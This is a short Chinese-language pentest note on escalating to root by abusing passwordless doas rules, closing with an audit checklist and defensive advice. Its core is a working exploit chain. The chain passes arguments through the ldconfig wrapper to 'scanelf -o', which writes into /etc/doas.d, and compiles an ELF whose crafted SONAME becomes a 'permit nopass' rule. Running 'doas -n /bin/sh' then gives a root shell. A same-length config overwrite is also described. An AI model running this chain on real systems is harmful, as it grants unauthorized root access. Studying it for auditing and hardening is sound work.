doas 免密配置滥用提权
doas 是 OpenBSD 风格的精简 sudo,Alpine 等发行版常见。它没有 sudo -l 这类枚举入口,配置位于 /etc/doas.d/。当免密白名单里存在带写原语的包装脚本,或能对配置文件做等长覆写时,可以直接写入 permit nopass 规则拿到 root。
仅限授权环境
覆写 doas 配置一旦语法错误,可能导致 doas 拒绝工作。仅在授权环境操作,先备份原配置,等长覆写时保持规则行长度一致。
枚举免密规则
sudo -l 不适用于 doas,用 doas -n <cmd> 逐个探测:-n 表示非交互,需要密码时直接失败退出,因此能成功执行即说明免密:
doas -n /sbin/ldconfig
利用链 A:ldconfig 透传 scanelf 任意写
- doas 免密允许
/sbin/ldconfig。 - 该包装脚本用 getopts 解析参数,遇到
--之后的参数直传内部命令scanelf。 scanelf -o <file>会以 root 身份把扫描输出写入任意文件:
doas -n /sbin/ldconfig -- -v -o /etc/doas.d/xx.conf
写入路径可控,但内容来自扫描结果,需要构造扫描输入让输出恰好成为 doas 规则。
用 DT_SONAME 控制写入内容
编译 ELF 时注入 DT_SONAME,让 SONAME 行本身就是一条 doas 规则:
gcc -Wl,-soname,'permit nopass <user> as root #' -o evil.so evil.c
scanelf 输出 SONAME 行时,行尾的 # 把该行剩余内容变成注释,落盘文件里恰好多出一行合法规则加注释:
permit nopass <user> as root #
规则生效后直接拿 root:
doas -n /bin/sh
利用链 B:等长覆写配置
具备 disk 组裸盘读写这类写原语时,可以对 doas 配置做等长覆写:把 permit persist :wheel 改成 permit nopass <user>,用空格补齐长度,不破坏文件布局。
审计清单
/etc/doas.d/下配置文件属主与权限是否为 root 644。- permit 行是否最小化,是否存在宽泛的
nopass规则。 - 免密包装脚本(如 ldconfig)是否向内部命令透传参数。
scanelf -o类输出重定向参数是否可达任意路径。
防御建议
- doas.conf 保持 root 644。
- permit 行最小化,避免对脚本类程序免密。
- 审计 ldconfig、scanelf 等包装脚本,禁止参数直传与输出落盘。
- 监控 doas 配置文件的变更。